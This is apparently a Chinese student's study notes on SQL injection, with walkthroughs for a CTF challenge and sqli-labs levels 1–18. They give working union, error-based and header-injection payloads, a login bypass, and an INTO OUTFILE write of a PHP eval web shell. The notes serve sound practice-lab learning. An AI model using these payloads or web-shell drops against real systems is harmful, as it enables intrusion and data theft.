最最最最最基础简单的部分 (虽然它简单但是不等于我记得,更不等于我会.jpg)
SQL 提权见 linux 提权
# 基本语句
先明确一件事,所有的查询语句,查的都是数据,而不是字段之类
select database() //这是查当前数据库,如果是要查所有,是; select group_concat(schema_name) from information_schema.schemate才对 注意,只有在information_schema.schemate中才存在字段schema_name,在其他两个表中都会叫做table_schema,但是在information_schema.tables/columns中却都有table_name这个玩意儿
select table_name from information_schema.tables where table_schema='库名' //仔细思考下含义,其实这里查的是information_scheam下的tables表的table_schema字段下的值,这和要查的表无关,应为查询查的都是字段的值
select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 1,1 //1,1表示查询从第一个字段开始查,查一个(其实只能这样),同上,这就是在information_schema库的columns表上查table_schema字段和table_name字段下的数据(注意这是两个完全不同的字段,实际上是查两者共有的那个)后面的and语句也可以换成columns.table_name=
select 1,flag,3 from error_flag
在任何时候,都可以用类似 group_concat (table_name) 的表达来一次性查询
回显长度有限时可能需要 substr (),right (),left () 之类的调整
(加在直接查询的地方)
select group_concat((right(password,25))) from...
联合查询需要使用 order by 字句判断字段数与回显点
例子:
# [极客大挑战 2019] HardSQL
这题是报错注入,其他的几个都被过滤了(?不知道能不能盲注)
大致 payload:
updatexml(1,concat(0x7e,database(),0x7e),1)
以及
把 database 换成:
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))
//因为是在函数里,所以都要用()
//like本身用于模糊匹配,但这里等同于=
//用了group_concat,这些报错注入的函数都是单次查询。返回多条会报错,得不到东西
及其类似物
# SQL-lab
# 1
联合注入是在前一句执行失败时才执行后一句,所以不要用 1
这里的 wp 中有一句
select group_concat(column_name) from information_schema.columns where columns.table_name='users'
但是实际上不够准确,因为没有指定数据库,其他某个数据库中也存在一个叫 users 的表,那么其字段也会输出:
可以多加一个:
and columns.table_schema='security'
不过实际上这个where字句中的conlumns可以直接省略
# 2
数字型,不用闭合,其他同上,还有就是不要用 1! 不要用 1! 不要用 1!
# 3/4
变形版本,得看源码
于是 payload
?id=1') union select ...
?id=") union select...
# 5/6
没有回显,这俩只有闭合方式一样('/")
一个闻所未闻的报错注入格式:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) as x from information_schema.tables group by x)a)--+
这里结合了联合查询:
union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a
原理是:
子查询中用 information_schema.table
只是因为数据量多,方便触发重复键错误。
count () 就是计数用的聚合函数,类似的还有 sum ()...
PS:单说这道题,用 updatexml ()/extractvalue () 也是可以的
# 7
看源码:
这下报错都没回显了,<del> 盲注脚本一把梭哈(?)</del>
之后闭合就不多说了,看源码就知道
联合写入(?)
?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+
//那一串就是<?php eval($_POST['test'])?>
路径靠猜
# 8/9/10
布尔 / 时间盲注,以及闭合方式
# 11/12
变成登录界面了,首先来个万能密码:
-1' or 1=1#
发现输出和第一关一模一样。显然 payload 也是一样了
(从 11 题开始用 post 方法,12 闭合不同)
wp 里面用了 limit 2,1 之类的,不过这题能显示出来的挺多,直接 group_conca () 就行了
# 13/14
常规 order by 加 union, 发现没有回显,但是可以报错。
闭合方式是 ')
随便给个 payload:
-1') union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x #
# 15/16
盲注
# 17
报错注入,但是 password:
username 单独查询的结果,作为下一次查询的参数,而不是我们的输入本身 (也没有任何回显)。
有 $row 的判断,说明必须输入实际存在的用户名
所以注入点在 password,就这样
随便给个 payload
1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
//user()返回当前数据库用户
# 18
这道题注入点在 user-agent
看源码:
测试时可以发现有错误回显,报错注入
提前闭合 ')
,然后由于是三个参数,不能把直接后面注释掉
mysql 总是先解析语法,所以必须再次凑一个闭合
payload:
xxx') or updatexml(1,concat(0x7e,(select version()),0x7e),0) or ('
拼上去后:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('xxx') or updatexml(1,concat(0x7e,(select version()),0x7e),0) or ('', '$IP', $uname)
这里说一个点,当字句如果是一个表达式,例如上面的 or 连接的参数表达式,那么在语法解析时这个整体作为单一表达式,其结果作为下一步语法解析的参数,所以上面的报错表达式是会执行的。
但是如果是下面这种:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0)) #', '$IP', $uname)
此时会先检查 values 的参数表,只有一个,直接报错,此时我们构造的报错语句反而没有执行,出现参量不匹配:
你可以手动补齐参量:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0),2,3) #', '$IP', $uname)